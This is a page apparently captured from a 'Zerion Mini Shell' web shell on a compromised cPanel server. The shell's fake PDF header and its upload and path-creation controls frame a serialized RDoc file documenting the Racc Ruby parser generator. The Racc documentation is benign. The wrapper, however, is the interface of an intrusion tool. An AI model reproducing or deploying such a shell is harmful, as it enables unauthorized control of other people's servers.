%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Racc/
Upload File :
Create Path :
Current File : //proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Racc/cdesc-Racc.ri

U:RDoc::NormalModule[iI"	Racc:ET@0o:RDoc::Markup::Document:@parts[o;;[:
@fileI"ext/racc/cparse/cparse.c;T:0@omit_headings_from_table_of_contents_below0o;;[Io:RDoc::Markup::Paragraph;[I")Racc is a LALR(1) parser generator. ;TI"?It is written in Ruby itself, and generates Ruby programs.;To:RDoc::Markup::BlankLineS:RDoc::Markup::Heading:
leveli:	textI"Command-line Reference;T@o:RDoc::Markup::Verbatim;[I"Fracc [-o<var>filename</var>] [--output-file=<var>filename</var>]
;TI"C     [-e<var>rubypath</var>] [--embedded=<var>rubypath</var>]
;TI"     [-v] [--verbose]
;TI"C     [-O<var>filename</var>] [--log-file=<var>filename</var>]
;TI"     [-g] [--debug]
;TI"     [-E] [--embedded]
;TI"#     [-l] [--no-line-convert]
;TI"$     [-c] [--line-convert-all]
;TI"#     [-a] [--no-omit-actions]
;TI"     [-C] [--check-only]
;TI"!     [-S] [--output-status]
;TI"D     [--version] [--copyright] [--help] <var>grammarfile</var>
;T:@format0o:RDoc::Markup::List:
@type:
LABEL:@items[o:RDoc::Markup::ListItem:@label[I"+filename+;T;[o;;[I"3Racc grammar file. Any extension is permitted.;To;;[I")-o+outfile+, --output-file=+outfile+;T;[o;;[I":A filename for output. default is <+filename+>.tab.rb;To;;[I"(-O+filename+, --log-file=+filename+;T;[o;;[I".Place logging output in file +filename+. ;TI"2Default log file name is <+filename+>.output.;To;;[I"*-e+rubypath+, --executable=+rubypath+;T;[o;;[I"Loutput executable file(mode 755). where +path+ is the Ruby interpreter.;To;;[I"-v, --verbose;T;[o;;[I"Lverbose mode. create +filename+.output file, like yacc's y.output file.;To;;[I"-g, --debug;T;[o;;[I"Gadd debug code to parser class. To display debugging information, ;TI"@use this '-g' option and set @yydebug true in parser class.;To;;[I"-E, --embedded;T;[o;;[I"EOutput parser which doesn't need runtime files (racc/parser.rb).;To;;[I"-C, --check-only;T;[o;;[I"0Check syntax of racc grammar file and quit.;To;;[I"-S, --output-status;T;[o;;[I"1Print messages time to time while compiling.;To;;[I"-l, --no-line-convert;T;[o;;[I"&turns off line number converting.;To;;[I"-c, --line-convert-all;T;[o;;[I">Convert line number of actions, inner, header and footer.;To;;[I"-a, --no-omit-actions;T;[o;;[I"2Call all actions, even if an action is empty.;To;;[I"--version;T;[o;;[I"!print Racc version and quit.;To;;[I"--copyright;T;[o;;[I"Print copyright and quit.;To;;[I"--help;T;[o;;[I"Print usage and quit.;T@S;
;i;I"!Generating Parser Using Racc;T@o;;[I"/To compile Racc grammar file, simply type:;T@o;;[I"$ racc parse.y
;T;0o;;[I"_This creates Ruby script file "parse.tab.y". The -o option can change the output filename.;T@S;
;i;I" Writing A Racc Grammar File;T@o;;[
I"DIf you want your own parser, you have to write a grammar file. ;TI"TA grammar file contains the name of your parser class, grammar for the parser, ;TI"#user code, and anything else. ;TI"?When writing a grammar file, yacc's knowledge is helpful. ;TI"AIf you have not used yacc before, Racc is not too difficult.;T@o;;[I")Here's an example Racc grammar file.;T@o;;[I"class Calcparser
;TI"
rule
;TI"$  target: exp { print val[0] }
;TI"
;TI"  exp: exp '+' exp
;TI"     | exp '*' exp
;TI"     | '(' exp ')'
;TI"     | NUMBER
;TI"	end
;T;0o;;[	I"-Racc grammar files resemble yacc files. ;TI")But (of course), this is Ruby code. ;TI"-yacc's $$ is the 'result', $0, $1... is ;TI"Ian array called 'val', and $-1, $-2... is an array called '_values'.;T@o;;[I"RSee the {Grammar File Reference}[rdoc-ref:lib/racc/rdoc/grammar.en.rdoc] for ;TI"'more information on grammar files.;T@S;
;i;I"Parser;T@o;;[I"JThen you must prepare the parse entry method. There are two types of ;TI"Jparse methods in Racc, Racc::Parser#do_parse and Racc::Parser#yyparse;T@o;;[I"%Racc::Parser#do_parse is simple.;T@o;;[
I"EIt's yyparse() of yacc, and Racc::Parser#next_token is yylex(). ;TI"FThis method must returns an array like [TOKENSYMBOL, ITS_VALUE]. ;TI"EOF is [false, false]. ;TI"J(TOKENSYMBOL is a Ruby symbol (taken from String#intern) by default. ;TI";If you want to change this, see the grammar reference.;T@o;;[I"=Racc::Parser#yyparse is little complicated, but useful. ;TI"WIt does not use Racc::Parser#next_token, instead it gets tokens from any iterator.;T@o;;[I":For example, <code>yyparse(obj, :scan)</code> causes ;TI"Tcalling +obj#scan+, and you can return tokens by yielding them from +obj#scan+.;T@S;
;i;I"Debugging;T@o;;[I"<When debugging, "-v" or/and the "-g" option is helpful.;T@o;;[I"."-v" creates verbose log file (.output). ;TI"&"-g" creates a "Verbose Parser". ;TI"=Verbose Parser prints the internal status when parsing. ;TI"But it's _not_ automatic. ;TI"QYou must use -g option and set +@yydebug+ to +true+ in order to get output. ;TI"/-g option only creates the verbose parser.;T@S;
;i;I" Racc reported syntax error.;T@o;;[I"!Isn't there too many "end"? ;TI".grammar of racc file is changed in v0.10.;T@o;;[I"KRacc does not use '%' mark, while yacc uses huge number of '%' marks..;T@S;
;i;I"$Racc reported "XXXX conflicts".;T@o;;[I"Try "racc -v xxxx.y". ;TI"?It causes producing racc's internal log file, xxxx.output.;T@S;
;i;I".Generated parsers does not work correctly;T@o;;[	I"Try "racc -g xxxx.y". ;TI"8This command let racc generate "debugging parser". ;TI",Then set @yydebug=true in your parser. ;TI".It produces a working log of your parser.;T@S;
;i;I"!Re-distributing Racc runtime;T@o;;[I"KA parser, which is created by Racc, requires the Racc runtime module; ;TI"racc/parser.rb.;T@o;;[I"0Ruby 1.8.x comes with Racc runtime module, ;TI"0you need NOT distribute Racc runtime files.;T@o;;[I"FIf you want to include the Racc runtime module with your parser. ;TI"+This can be done by using '-E' option:;T@o;;[I"($ racc -E -omyparser.rb myparser.y
;T;0o;;[I"EThis command creates myparser.rb which `includes' Racc runtime. ;TI"FOnly you must do is to distribute your parser file (myparser.rb).;T@o;;[I"6Note: parser.rb is LGPL, but your parser is not. ;TI")Your own parser is completely yours.;T;	I"lib/racc/parser.rb;T;
0;	0;
0[[[[[I"
class;T[[:public[[:protected[[:private[[I"
instance;T[[;[[;[[;[[[U:RDoc::Context::Section[i0o;;[;	0;
0[@@
@
cRDoc::TopLevel

Zerion Mini Shell 1.0